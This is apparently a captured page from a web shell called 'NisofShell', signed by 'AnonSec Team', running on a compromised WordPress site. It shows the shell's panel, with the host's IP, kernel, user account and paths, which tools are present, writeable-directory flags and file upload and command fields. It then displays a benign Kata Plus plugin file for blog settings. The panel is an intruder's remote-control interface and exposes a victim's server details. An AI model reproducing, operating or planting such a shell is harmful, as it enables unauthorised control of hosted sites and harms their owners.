%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/theme-options/options/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/theme-options/options/blog-options.php
<?php
/**
 * Blog Options.
 *
 * @author  ClimaxThemes
 * @package Kata Plus
 * @since   1.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Kata_Plus_Theme_Options_Blog' ) ) {
	class Kata_Plus_Theme_Options_Blog extends Kata_Plus_Theme_Options {
		/**
		 * Set Options.
		 *
		 * @since   1.0.0
		 */
		public static function set_options() {
			! class_exists( 'Kata_Plus_Builders_Base' ) ? Kata_Plus_Autoloader::load( Kata_Plus::$dir . 'includes/elementor/builders', '01-builder-base' ) : '';

			// Blog panel
			new \Kirki\Panel(
				'kata_blog_panel',
				array(
					'title'      => esc_html__( 'Blog', 'kata-plus' ),
					'icon'       => 'ti-pencil-alt',
					'type'       => 'kirki-nested',
					'capability' => Kata_Plus_Helpers::capability(),
					'priority'   => 7,
				)
			);

			// Blog Posts
			new \Kirki\Section(
				'kata_blog_posts_section',
				array(
					'panel'      => 'kata_blog_panel',
					'icon'       => 'ti-pencil-alt',
					'title'      => esc_html__( 'Blog', 'kata-plus' ),
					'capability' => Kata_Plus_Helpers::capability(),
				)
			);
			$blog_url = class_exists( 'Kata_Plus_Builders_Base' ) ? Kata_Plus_Builders_Base::get_instance()->builder_url( 'kata_blog' ) : '';
			Kirki::add_field(
				self::$opt_name,
				array(
					'settings'    => 'kata_blog_builder',
					'section'     => 'kata_blog_posts_section',
					'type'        => 'custom',
					'label'       => esc_html__( 'Blog Builder', 'kata-plus' ),
					'description' => esc_html__( 'Click on the button below to customize the Blog\'s layout', 'kata-plus' ),
					'default'     => '
					<a href="' . esc_url( $blog_url ) . '" id="elementor-switch-mode-button" class="button customizer-kata-builder-button button-large">
						<span class="elementor-switch-mode-off"><i class="eicon-elementor-square" aria-hidden="true"></i> ' . __( 'Go to Blog Builder', 'kata-plus' ) . '</span>
					</a>',
				)
			);

			// Archive Posts
			new \Kirki\Section(
				'kata_archive_posts_section',
				array(
					'panel'      => 'kata_blog_panel',
					'icon'       => 'ti-pencil-alt',
					'title'      => esc_html__( 'Archive Page', 'kata-plus' ),
					'capability' => Kata_Plus_Helpers::capability(),
				)
			);
			if ( class_exists( 'Kata_Plus_Pro' ) ) {
				$blog_url = class_exists( 'Kata_Plus_Builders_Base' ) ? Kata_Plus_Builders_Base::get_instance()->builder_url( 'kata_archive' ) : '';
				Kirki::add_field(
					self::$opt_name,
					array(
						'settings'    => 'kata_archive_builder',
						'section'     => 'kata_archive_posts_section',
						'type'        => 'custom',
						'label'       => esc_html__( 'Archive Builder', 'kata-plus' ),
						'description' => esc_html__( 'Click on the button below to customize the Archive\'s layout', 'kata-plus' ),
						'default'     => '
						<a href="' . esc_url( $blog_url ) . '" id="elementor-switch-mode-button" class="button customizer-kata-builder-button button-large">
							<span class="elementor-switch-mode-off"><i class="eicon-elementor-square" aria-hidden="true"></i> ' . __( 'Go to Archive Builder', 'kata-plus' ) . '</span>
						</a>',
					)
				);
			}

			// Single
			new \Kirki\Section(
				'kata_post_single_section',
				array(
					'panel'      => 'kata_blog_panel',
					'icon'       => 'ti-pencil-alt',
					'title'      => esc_html__( 'Single Post', 'kata-plus' ),
					'capability' => Kata_Plus_Helpers::capability(),
				)
			);
			if ( class_exists( 'Kata_Plus_Pro' ) ) {
				$blog_url = class_exists( 'Kata_Plus_Builders_Base' ) ? Kata_Plus_Builders_Base::get_instance()->builder_url( 'kata_single' ) : '';
				Kirki::add_field(
					self::$opt_name,
					array(
						'settings'    => 'kata_single_builder',
						'section'     => 'kata_post_single_section',
						'type'        => 'custom',
						'label'       => esc_html__( 'Single Builder', 'kata-plus' ),
						'description' => esc_html__( 'Click on the button below to customize the Single\'s layout', 'kata-plus' ),
						'default'     => '
						<a href="' . esc_url( $blog_url ) . '" id="elementor-switch-mode-button" class="button customizer-kata-builder-button button-large">
							<span class="elementor-switch-mode-off"><i class="eicon-elementor-square" aria-hidden="true"></i> ' . __( 'Go to Single Builder', 'kata-plus' ) . '</span>
						</a>',
					)
				);
			} else {
				new \Kirki\Field\Sortable(
					array(
						'section'  => 'kata_post_single_section',
						'settings' => 'kata_post_single_structure',
						'label'    => esc_html__( 'Post Structure', 'kata-plus' ),
						'default'  => array(
							'kata_post_single_thumbnail',
							'kata_post_single_title_and_meta',
							'kata_post_single_post_excerpt',
						),
						'choices'  => array(
							'kata_post_single_thumbnail' => esc_html__( 'Thumbnail', 'kata-plus' ),
							'kata_post_single_title_and_meta' => esc_html__( 'Title and Category', 'kata-plus' ),
							'kata_post_single_post_excerpt' => esc_html__( 'Post Excerpt', 'kata-plus' ),
						),
						'priority' => 10,
					)
				);
				new \Kirki\Field\Sortable(
					array(
						'section'  => 'kata_post_single_section',
						'settings' => 'kata_post_single_metadata_structure',
						'label'    => esc_html__( 'Metadata Structure', 'kata-plus' ),
						'default'  => array(
							'kata_post_single_date',
							'kata_post_single_author',
							'kata_post_single_tags',
						),
						'choices'  => array(
							'kata_post_single_date'   => esc_html__( 'Date', 'kata-plus' ),
							'kata_post_single_author' => esc_html__( 'Author', 'kata-plus' ),
							'kata_post_single_tags'   => esc_html__( 'Tags', 'kata-plus' ),
						),
						'priority' => 10,
					)
				);
			}
		}
	} // class

	Kata_Plus_Theme_Options_Blog::set_options();
}

Anon7 - 2022
AnonSec Team